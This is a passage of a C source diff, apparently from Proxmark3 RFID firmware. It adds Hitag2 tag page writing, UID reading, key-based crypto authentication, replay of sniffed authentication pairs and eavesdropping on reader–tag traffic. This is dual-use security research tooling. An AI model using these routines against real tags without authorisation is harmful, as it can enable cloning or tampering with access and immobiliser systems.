memcpy(tag.sectors[blocknr],rx,4); + blocknr++; } else { - if(blocknr == 1){ - //store password in block1, the TAG answers with Block3, but we need the password in memory - memcpy(tag.sectors[blocknr],tx,4); - }else{ - memcpy(tag.sectors[blocknr],rx,4); - } - - blocknr++; - if (blocknr > 7) { - DbpString("Read succesful!"); - bSuccessful = true; - return false; - } - *txlen = 10; - tx[0] = 0xc0 | (blocknr << 3) | ((blocknr^7) >> 2); - tx[1] = ((blocknr^7) << 6); + if(blocknr == 1){ + //store password in block1, the TAG answers with Block3, but we need the password in memory + memcpy(tag.sectors[blocknr],tx,4); + } else { + memcpy(tag.sectors[blocknr],rx,4); + } + + blocknr++; + if (blocknr > 7) { + DbpString("Read succesful!"); + bSuccessful = true; + return false; + } + *txlen = 10; + tx[0] = 0xc0 | (blocknr << 3) | ((blocknr^7) >> 2); + tx[1] = ((blocknr^7) << 6); } } break; @@ -530,14 +518,65 @@ bool hitag2_password(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) return true; } -bool hitag2_crypto(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { +static bool hitag2_write_page(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) +{ + switch (writestate) { + case WRITE_STATE_START: + *txlen = 10; + tx[0] = 0x82 | (blocknr << 3) | ((blocknr^7) >> 2); + tx[1] = ((blocknr^7) << 6); + writestate = WRITE_STATE_PAGENUM_WRITTEN; + break; + case WRITE_STATE_PAGENUM_WRITTEN: + // Check if page number was received correctly + if ((rxlen == 10) && + (rx[0] == (0x82 | (blocknr << 3) | ((blocknr^7) >> 2))) && + (rx[1] == (((blocknr & 0x3) ^ 0x3) << 6))) { + *txlen = 32; + memset(tx, 0, HITAG_FRAME_LEN); + memcpy(tx, writedata, 4); + writestate = WRITE_STATE_PROG; + } else { + Dbprintf("hitag2_write_page: Page number was not received correctly: rxlen=%d rx=%02x%02x%02x%02x", + rxlen, rx[0], rx[1], rx[2], rx[3]); + bSuccessful = false; + return false; + } + break; + case WRITE_STATE_PROG: + if (rxlen == 0) { + bSuccessful = true; + } else { + bSuccessful = false; + Dbprintf("hitag2_write_page: unexpected rx data (%d) after page write", rxlen); + } + return false; + default: + DbpString("hitag2_write_page: Unknown state %d"); + bSuccessful = false; + return false; + } + + return true; +} + +static bool hitag2_crypto(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen, bool write) { // Reset the transmission frame length *txlen = 0; if(bCrypto) { hitag2_cipher_transcrypt(&cipher_state,rx,rxlen/8,rxlen%8); + } + if (bCrypto && !bAuthenticating && write) { + if (!hitag2_write_page(rx, rxlen, tx, txlen)) { + return false; + } + } + else + { + // Try to find out which command was send by selecting on length (in bits) switch (rxlen) { // No answer, try to resurrect @@ -567,41 +606,49 @@ bool hitag2_crypto(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { bCrypto = false; } } else { - *txlen = 5; - memcpy(tx,"\xc0",nbytes(*txlen)); - } - } break; - + *txlen = 5; + memcpy(tx,"\xc0",nbytes(*txlen)); + } + break; + } // Received UID, crypto tag answer case 32: { if (!bCrypto) { uint64_t ui64key = key[0] | ((uint64_t)key[1]) << 8 | ((uint64_t)key[2]) << 16 | ((uint64_t)key[3]) << 24 | ((uint64_t)key[4]) << 32 | ((uint64_t)key[5]) << 40; uint32_t ui32uid = rx[0] | ((uint32_t)rx[1]) << 8 | ((uint32_t)rx[2]) << 16 | ((uint32_t)rx[3]) << 24; + Dbprintf("hitag2_crypto: key=0x%x%x uid=0x%x", (uint32_t) ((rev64(ui64key)) >> 32), (uint32_t) ((rev64(ui64key)) & 0xffffffff), rev32(ui32uid)); cipher_state = _hitag2_init(rev64(ui64key), rev32(ui32uid), 0); memset(tx,0x00,4); memset(tx+4,0xff,4); hitag2_cipher_transcrypt(&cipher_state,tx+4,4,0); *txlen = 64; bCrypto = true; - bAuthenticating = true; + bAuthenticating = true; } else { // Check if we received answer tag (at) if (bAuthenticating) { - bAuthenticating = false; + bAuthenticating = false; + if (write) { + if (!hitag2_write_page(rx, rxlen, tx, txlen)) { + return false; + } + break; + } } else { - // Store the received block - memcpy(tag.sectors[blocknr],rx,4); - blocknr++; + // Store the received block + memcpy(tag.sectors[blocknr],rx,4); + blocknr++; } if (blocknr > 7) { - DbpString("Read succesful!"); - bSuccessful = true; - return false; - } + DbpString("Read succesful!"); + bSuccessful = true; + return false; + } else { *txlen = 10; tx[0] = 0xc0 | (blocknr << 3) | ((blocknr^7) >> 2); tx[1] = ((blocknr^7) << 6); } + } } break; // Unexpected response @@ -610,20 +657,20 @@ bool hitag2_crypto(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { return false; } break; } - + } - if(bCrypto) { - // We have to return now to avoid double encryption - if (!bAuthenticating) { - hitag2_cipher_transcrypt(&cipher_state,tx,*txlen/8,*txlen%8); - } + if(bCrypto) { + // We have to return now to avoid double encryption + if (!bAuthenticating) { + hitag2_cipher_transcrypt(&cipher_state, tx, *txlen/8, *txlen%8); + } } return true; } -bool hitag2_authenticate(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { +static bool hitag2_authenticate(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { // Reset the transmission frame length *txlen = 0; @@ -637,25 +684,24 @@ bool hitag2_authenticate(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txl return false; } *txlen = 5; - memcpy(tx,"\xc0",nbytes(*txlen)); + memcpy(tx,"\xc0", nbytes(*txlen)); } break; // Received UID, crypto tag answer case 32: { if (!bCrypto) { *txlen = 64; - memcpy(tx,NrAr,8); + memcpy(tx, NrAr, 8); bCrypto = true; } else { DbpString("Authentication succesful!"); - // We are done... for now - return false; + return true; } } break; // Unexpected response default: { - Dbprintf("Uknown frame length: %d",rxlen); + Dbprintf("Uknown frame length: %d", rxlen); return false; } break; } @@ -663,7 +709,9 @@ bool hitag2_authenticate(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txl return true; } -bool hitag2_test_auth_attempts(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { + +static bool hitag2_test_auth_attempts(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { + // Reset the transmission frame length *txlen = 0; @@ -675,17 +723,17 @@ bool hitag2_test_auth_attempts(byte_t* rx, const size_t rxlen, byte_t* tx, size_ if (bCrypto) { Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x Failed, removed entry!",NrAr[0],NrAr[1],NrAr[2],NrAr[3],NrAr[4],NrAr[5],NrAr[6],NrAr[7]); - // Removing failed entry from authentiations table - memcpy(auth_table+auth_table_pos,auth_table+auth_table_pos+8,8); - auth_table_len -= 8; + // Removing failed entry from authentiations table + memcpy(auth_table+auth_table_pos,auth_table+auth_table_pos+8,8); + auth_table_len -= 8; - // Return if we reached the end of the authentiactions table + // Return if we reached the end of the authentications table bCrypto = false; if (auth_table_pos == auth_table_len) { return false; } - - // Copy the next authentication attempt in row (at the same position, b/c we removed last failed entry) + + // Copy the next authentication attempt in row (at the same position, b/c we removed last failed entry) memcpy(NrAr,auth_table+auth_table_pos,8); } *txlen = 5; @@ -718,6 +766,43 @@ bool hitag2_test_auth_attempts(byte_t* rx, const size_t rxlen, byte_t* tx, size_ return true; } +static bool hitag2_read_uid(byte_t* rx, const size_t rxlen, byte_t* tx, size_t* txlen) { + // Reset the transmission frame length + *txlen = 0; + + // Try to find out which command was send by selecting on length (in bits) + switch (rxlen) { + // No answer, try to resurrect + case 0: { + // Just starting or if there is no answer + *txlen = 5; + memcpy(tx, "\xC0", nbytes(*txlen) ); + } break; + // Received UID + case 32: { + // Check if we received answer tag (at) + if (bAuthenticating) { + bAuthenticating = false; + } else { + // Store the received block + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + } + if (blocknr > 0) { + // DbpString("Read successful!"); + bSuccessful = true; + return false; + } + } break; + // Unexpected response + default: { + Dbprintf("Uknown frame length: %d", rxlen); + return false; + } break; + } + return true; +} + void SnoopHitag(uint32_t type) { int frame_count; int response; @@ -730,12 +815,19 @@ void SnoopHitag(uint32_t type) { byte_t rx[HITAG_FRAME_LEN]; size_t rxlen=0; + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); + // Clean up trace and prepare it for storing frames - iso14a_set_tracing(TRUE); - iso14a_clear_trace(); - + clear_trace(); + set_tracing(true); + auth_table_len = 0; auth_table_pos = 0; + + auth_table = (byte_t *)BigBuf_malloc(AUTH_TABLE_LENGTH); memset(auth_table, 0x00, AUTH_TABLE_LENGTH); DbpString("Starting Hitag2 snoop"); @@ -743,8 +835,7 @@ void SnoopHitag(uint32_t type) { // Set up eavesdropping mode, frequency divisor which will drive the FPGA // and analog mux selection. - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz SetAdcMuxFor(GPIO_MUXSEL_LOPKD); RELAY_OFF(); @@ -760,7 +851,7 @@ void SnoopHitag(uint32_t type) { AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - // Disable timer during configuration + // Disable timer during configuration AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, @@ -772,7 +863,7 @@ void SnoopHitag(uint32_t type) { AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // Reset the received frame, frame count and timing info - memset(rx,0x00,sizeof(rx)); + memset(rx, 0x00, sizeof(rx)); frame_count = 0; response = 0; overflow = 0; @@ -781,7 +872,7 @@ void SnoopHitag(uint32_t type) { bSkip = true; tag_sof = 4; - while(!BUTTON_PRESS()) { + while(!BUTTON_PRESS() && !usb_poll_validate_length()) { // Watchdog hit WDT_HIT(); @@ -923,7 +1014,7 @@ void SnoopHitag(uint32_t type) { AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_A_OFF(); - + set_tracing(false); // Dbprintf("frame received: %d",frame_count); // Dbprintf("Authentication Attempts: %d",(auth_table_len/8)); // DbpString("All done"); @@ -940,11 +1031,20 @@ void SimulateHitagTag(bool tag_mem_supplied, byte_t* data) { bool bQuitTraceFull = false; bQuiet = false; + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); + // Clean up trace and prepare it for storing frames - iso14a_set_tracing(TRUE); - iso14a_clear_trace(); + clear_trace(); + set_tracing(true); + auth_table_len = 0; auth_table_pos = 0; + byte_t* auth_table; + + auth_table = (byte_t *)BigBuf_malloc(AUTH_TABLE_LENGTH); memset(auth_table, 0x00, AUTH_TABLE_LENGTH); DbpString("Starting Hitag2 simulation"); @@ -967,8 +1067,8 @@ void SimulateHitagTag(bool tag_mem_supplied, byte_t* data) { // Set up simulator mode, frequency divisor which will drive the FPGA // and analog mux selection. - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); + SpinDelay(50); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz SetAdcMuxFor(GPIO_MUXSEL_LOPKD); RELAY_OFF(); @@ -987,23 +1087,23 @@ void SimulateHitagTag(bool tag_mem_supplied, byte_t* data) { AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - // Disable timer during configuration + // Disable timer during configuration AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - // Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, + // Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, // external trigger rising edge, load RA on rising edge of TIOA. AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; - // Enable and reset counter - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - // Reset the received frame, frame count and timing info memset(rx,0x00,sizeof(rx)); frame_count = 0; response = 0; overflow = 0; + + // Enable and reset counter + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - while(!BUTTON_PRESS()) { + while(!BUTTON_PRESS() && !usb_poll_validate_length()) { // Watchdog hit WDT_HIT(); @@ -1105,12 +1205,312 @@ void SimulateHitagTag(bool tag_mem_supplied, byte_t* data) { AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); -// Dbprintf("frame received: %d",frame_count); -// Dbprintf("Authentication Attempts: %d",(auth_table_len/8)); -// DbpString("All done"); + + DbpString("Sim Stopped"); + set_tracing(false); } void ReaderHitag(hitag_function htf, hitag_data* htd) { + int frame_count = 0; + int response = 0; + byte_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + byte_t txbuf[HITAG_FRAME_LEN]; + byte_t* tx = txbuf; + size_t txlen = 0; + int lastbit = 1; + bool bSkip; + int reset_sof; + int tag_sof; + int t_wait = HITAG_T_WAIT_MAX; + bool bStop = false; + bool bQuitTraceFull = false; + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + // Reset the return status + bSuccessful = false; + + // Clean up trace and prepare it for storing frames + clear_trace(); + set_tracing(true); + + //DbpString("Starting Hitag reader family"); + + // Check configuration + switch (htf) { + case RHT2F_PASSWORD: { + Dbprintf("List identifier in password mode"); + memcpy(password,htd->pwd.password, 4); + blocknr = 0; + bQuitTraceFull = false; + bQuiet = false; + bPwd = false; + } break; + + case RHT2F_AUTHENTICATE: { + DbpString("Authenticating using nr,ar pair:"); + memcpy(NrAr,htd->auth.NrAr, 8); + Dbhexdump(8,NrAr,false); + bQuiet = false; + bCrypto = false; + bAuthenticating = false; + bQuitTraceFull = true; + } break; + + case RHT2F_CRYPTO: { + DbpString("Authenticating using key:"); + memcpy(key,htd->crypto.key, 6); //HACK; 4 or 6?? I read both in the code. + Dbhexdump(6,key,false); + blocknr = 0; + bQuiet = false; + bCrypto = false; + bAuthenticating = false; + bQuitTraceFull = true; + } break; + + case RHT2F_TEST_AUTH_ATTEMPTS: { + Dbprintf("Testing %d authentication attempts",(auth_table_len/8)); + auth_table_pos = 0; + memcpy(NrAr, auth_table, 8); + bQuitTraceFull = false; + bQuiet = false; + bCrypto = false; + } break; + case RHT2F_UID_ONLY: { + blocknr = 0; + bQuiet = false; + bCrypto = false; + bAuthenticating = false; + bQuitTraceFull = true; + } break; + default: { + Dbprintf("Error, unknown function: %d",htf); + set_tracing(false); + return; + } break; + } + + LED_D_ON(); + hitag2_init(); + + // Configure output and enable pin that is connected to the FPGA (for modulating) + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + + // Set fpga in edge detect with reader field, we can modulate as reader now + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); + SpinDelay(20); + + // Set Frequency divisor which will drive the FPGA and analog mux selection + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + RELAY_OFF(); + + // Disable modulation at default, which means enable the field + LOW(GPIO_SSC_DOUT); + + // Give it a bit of time for the resonant antenna to settle. + SpinDelay(30); + + // Enable Peripheral Clock for TIMER_CLOCK0, used to measure exact timing before answering + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + + // Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the tag frames + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + + // Disable timer during configuration + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, + // external trigger rising edge, load RA on falling edge of TIOA. + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_FALLING | AT91C_TC_ABETRG | AT91C_TC_LDRA_FALLING; + + // Enable and reset counters + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Tag specific configuration settings (sof, timings, etc.) + if (htf < 10){ + // hitagS settings + reset_sof = 1; + t_wait = 200; + // DbpString("Configured for hitagS reader"); + } else if (htf < 20) { + // hitag1 settings + reset_sof = 1; + t_wait = 200; + // DbpString("Configured for hitag1 reader"); + } else if (htf < 30) { + // hitag2 settings + reset_sof = 4; + t_wait = HITAG_T_WAIT_2; + // DbpString("Configured for hitag2 reader"); + } else { + Dbprintf("Error, unknown hitag reader type: %d",htf); + set_tracing(false); + return; + } + uint8_t attempt_count=0; + while (!bStop && !BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + // Check if frame was captured and store it + if (rxlen > 0) { + frame_count++; + if (!bQuiet) { + if (!LogTraceHitag(rx,rxlen, response, 0, false)) { + DbpString("Trace full"); + if (bQuitTraceFull) + break; + else + bQuiet = true; + } + } + } + + // By default reset the transmission buffer + tx = txbuf; + switch (htf) { + case RHT2F_PASSWORD: { + bStop = !hitag2_password(rx,rxlen,tx,&txlen); + } break; + case RHT2F_AUTHENTICATE: { + bStop = !hitag2_authenticate(rx,rxlen,tx,&txlen); + } break; + case RHT2F_CRYPTO: { + bStop = !hitag2_crypto(rx,rxlen,tx,&txlen, false); + } break; + case RHT2F_TEST_AUTH_ATTEMPTS: { + bStop = !hitag2_test_auth_attempts(rx,rxlen,tx,&txlen); + } break; + case RHT2F_UID_ONLY: { + bStop = !hitag2_read_uid(rx, rxlen, tx, &txlen); + attempt_count++; //attempt 3 times to get uid then quit + if (!bStop && attempt_count == 3) bStop = true; + } break; + default: { + Dbprintf("Error, unknown function: %d",htf); + set_tracing(false); + return; + } break; + } + + // Send and store the reader command + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, + // Since the clock counts since the last falling edge, a 'one' means that the + // falling edge occured halfway the period. with respect to this falling edge, + // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. + // All timer values are in terms of T0 units + while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))); + + // Transmit the reader frame + hitag_reader_send_frame(tx, txlen); + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Add transmitted frame to total count + if (txlen > 0) { + frame_count++; + if (!bQuiet) { + // Store the frame in the trace + if (!LogTraceHitag(tx, txlen, HITAG_T_WAIT_2, 0, true)) { + if (bQuitTraceFull) { + break; + } else { + bQuiet = true; + } + } + } + } + + // Reset values for receiving frames + memset(rx, 0x00, sizeof(rx)); + rxlen = 0; + lastbit = 1; + bSkip = true; + tag_sof = reset_sof; + response = 0; + uint32_t errorCount = 0; + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // Check if falling edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Retrieve the new timing values + int ra = (AT91C_BASE_TC1->TC_RA/T0); + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + LED_B_ON(); + + // Capture tag frame (manchester decoding using only falling edges) + if (ra >= HITAG_T_EOF) { + // Capture the T0 periods that have passed since last communication or field drop (reset) + // We always recieve a 'one' first, which has the falling edge after a half period |-_| + response = ra-HITAG_T_TAG_HALF_PERIOD; + } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { + // Manchester coding example |-_|_-|-_| (101) + rx[rxlen / 8] |= 0 << (7-(rxlen%8)); + rxlen++; + rx[rxlen / 8] |= 1 << (7-(rxlen%8)); + rxlen++; + } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { + // Manchester coding example |_-|...|_-|-_| (0...01) + rx[rxlen / 8] |= 0 << (7-(rxlen%8)); + rxlen++; + // We have to skip this half period at start and add the 'one' the second time + if (!bSkip) { + rx[rxlen / 8] |= 1 << (7-(rxlen%8)); + rxlen++; + } + lastbit = !lastbit; + bSkip = !bSkip; + } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + if (tag_sof) { + // Ignore bits that are transmitted during SOF + tag_sof--; + } else { + // bit is same as last bit + rx[rxlen / 8] |= lastbit << (7-(rxlen%8)); + rxlen++; + } + } else { + //Dbprintf("DEBUG: Wierd2"); + errorCount++; + // Ignore wierd value, is to small to mean anything + } + } + //if we saw over 100 wierd values break it probably isn't hitag... + if (errorCount > 100) break; + // We can break this loop if we received the last bit from a frame + if (AT91C_BASE_TC1->TC_CV > T0*HITAG_T_EOF) { + if (rxlen > 0) break; + } + } + } + LED_B_OFF(); + LED_D_OFF(); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + if ( bSuccessful ) + cmd_send(CMD_ACK, bSuccessful, 0, 0, (byte_t*)tag.sectors, 48); + else + cmd_send(CMD_ACK, bSuccessful, 0, 0, 0, 0); + + set_tracing(false); +} + +void WriterHitag(hitag_function htf, hitag_data* htd, int page) { int frame_count; int response; byte_t rx[HITAG_FRAME_LEN]; @@ -1126,60 +1526,34 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { bool bStop; bool bQuitTraceFull = false; - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - // Reset the return status - bSuccessful = false; + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + // Reset the return status + bSuccessful = false; // Clean up trace and prepare it for storing frames - iso14a_set_tracing(TRUE); - iso14a_clear_trace(); - DbpString("Starting Hitag reader family"); + set_tracing(true); + clear_trace(); + + // DbpString("Starting Hitag reader family"); // Check configuration switch(htf) { - case RHT2F_PASSWORD: { - Dbprintf("List identifier in password mode"); - memcpy(password,htd->pwd.password,4); - blocknr = 0; - bQuitTraceFull = false; - bQuiet = false; - bPwd = false; - } break; - - case RHT2F_AUTHENTICATE: { - DbpString("Authenticating using nr,ar pair:"); - memcpy(NrAr,htd->auth.NrAr,8); - Dbhexdump(8,NrAr,false); - bQuiet = false; - bCrypto = false; - bAuthenticating = false; - bQuitTraceFull = true; - } break; - - case RHT2F_CRYPTO: { - DbpString("Authenticating using key:"); - memcpy(key,htd->crypto.key,6); - Dbhexdump(6,key,false); - blocknr = 0; - bQuiet = false; - bCrypto = false; - bAuthenticating = false; - bQuitTraceFull = true; - } break; - - case RHT2F_TEST_AUTH_ATTEMPTS: { - Dbprintf("Testing %d authentication attempts",(auth_table_len/8)); - auth_table_pos = 0; - memcpy(NrAr,auth_table,8); - bQuitTraceFull = false; - bQuiet = false; - bCrypto = false; - } break; - - default: { - Dbprintf("Error, unknown function: %d",htf); - return; - } break; + case WHT2F_CRYPTO: { + DbpString("Authenticating using key:"); + memcpy(key,htd->crypto.key,6); //HACK; 4 or 6?? I read both in the code. + memcpy(writedata, htd->crypto.data, 4); + Dbhexdump(6,key,false); + blocknr = page; + bQuiet = false; + bCrypto = false; + bAuthenticating = false; + bQuitTraceFull = true; + writestate = WRITE_STATE_START; + } break; + default: { + Dbprintf("Error, unknown function: %d",htf); + return; + } break; } LED_D_ON(); @@ -1210,7 +1584,7 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - // Disable timer during configuration + // Disable timer during configuration AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, @@ -1227,27 +1601,26 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { lastbit = 1; bStop = false; - // Tag specific configuration settings (sof, timings, etc.) - if (htf < 10){ - // hitagS settings - reset_sof = 1; - t_wait = 200; - DbpString("Configured for hitagS reader"); - } else if (htf < 20) { - // hitag1 settings - reset_sof = 1; - t_wait = 200; - DbpString("Configured for hitag1 reader"); - } else if (htf < 30) { - // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2; - DbpString("Configured for hitag2 reader"); + // Tag specific configuration settings (sof, timings, etc.) + if (htf < 10){ + // hitagS settings + reset_sof = 1; + t_wait = 200; + // DbpString("Configured for hitagS reader"); + } else if (htf < 20) { + // hitag1 settings + reset_sof = 1; + t_wait = 200; + // DbpString("Configured for hitag1 reader"); + } else if (htf < 30) { + // hitag2 settings + reset_sof = 4; + t_wait = HITAG_T_WAIT_2; + // DbpString("Configured for hitag2 reader"); } else { - Dbprintf("Error, unknown hitag reader type: %d",htf); - return; - } - + Dbprintf("Error, unknown hitag reader type: %d",htf); + return; + } while(!bStop && !BUTTON_PRESS()) { // Watchdog hit WDT_HIT(); @@ -1270,22 +1643,13 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { // By default reset the transmission buffer tx = txbuf; switch(htf) { - case RHT2F_PASSWORD: { - bStop = !hitag2_password(rx,rxlen,tx,&txlen); - } break; - case RHT2F_AUTHENTICATE: { - bStop = !hitag2_authenticate(rx,rxlen,tx,&txlen); - } break; - case RHT2F_CRYPTO: { - bStop = !hitag2_crypto(rx,rxlen,tx,&txlen); - } break; - case RHT2F_TEST_AUTH_ATTEMPTS: { - bStop = !hitag2_test_auth_attempts(rx,rxlen,tx,&txlen); - } break; - default: { - Dbprintf("Error, unknown function: %d",htf); - return; - } break; + case WHT2F_CRYPTO: { + bStop = !hitag2_crypto(rx,rxlen,tx,&txlen, true); + } break; + default: { + Dbprintf("Error, unknown function: %d",htf); + return; + } break; } // Send and store the reader command @@ -1298,6 +1662,8 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. // All timer values are in terms of T0 units while(AT91C_BASE_TC0->TC_CV < T0*(t_wait+(HITAG_T_TAG_HALF_PERIOD*lastbit))); + + // Dbprintf("DEBUG: Sending reader frame"); // Transmit the reader frame hitag_reader_send_frame(tx,txlen); @@ -1319,7 +1685,7 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { } } } - + // Reset values for receiving frames memset(rx,0x00,sizeof(rx)); rxlen = 0; @@ -1327,7 +1693,9 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { bSkip = true; tag_sof = reset_sof; response = 0; - + // Dbprintf("DEBUG: Waiting to receive frame"); + uint32_t errorCount = 0; + // Receive frame, watch for at most T0*EOF periods while (AT91C_BASE_TC1->TC_CV < T0*HITAG_T_WAIT_MAX) { // Check if falling edge in tag modulation is detected @@ -1339,23 +1707,33 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; LED_B_ON(); - + // Capture tag frame (manchester decoding using only falling edges) if(ra >= HITAG_T_EOF) { if (rxlen != 0) { - //DbpString("wierd1?"); + //Dbprintf("DEBUG: Wierd1"); } // Capture the T0 periods that have passed since last communication or field drop (reset) // We always recieve a 'one' first, which has the falling edge after a half period |-_| response = ra-HITAG_T_TAG_HALF_PERIOD; } else if(ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { // Manchester coding example |-_|_-|-_| (101) + + // need to test to verify we don't exceed memory... + // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { + // break; + // } rx[rxlen / 8] |= 0 << (7-(rxlen%8)); rxlen++; rx[rxlen / 8] |= 1 << (7-(rxlen%8)); rxlen++; } else if(ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { // Manchester coding example |_-|...|_-|-_| (0...01) + + // need to test to verify we don't exceed memory... + // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { + // break; + // } rx[rxlen / 8] |= 0 << (7-(rxlen%8)); rxlen++; // We have to skip this half period at start and add the 'one' the second time @@ -1367,6 +1745,11 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { bSkip = !bSkip; } else if(ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + + // need to test to verify we don't exceed memory... + // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { + // break; + // } if (tag_sof) { // Ignore bits that are transmitted during SOF tag_sof--; @@ -1376,22 +1759,34 @@ void ReaderHitag(hitag_function htf, hitag_data* htd) { rxlen++; } } else { + // Dbprintf("DEBUG: Wierd2"); + errorCount++; // Ignore wierd value, is to small to mean anything } } - + // if we saw over 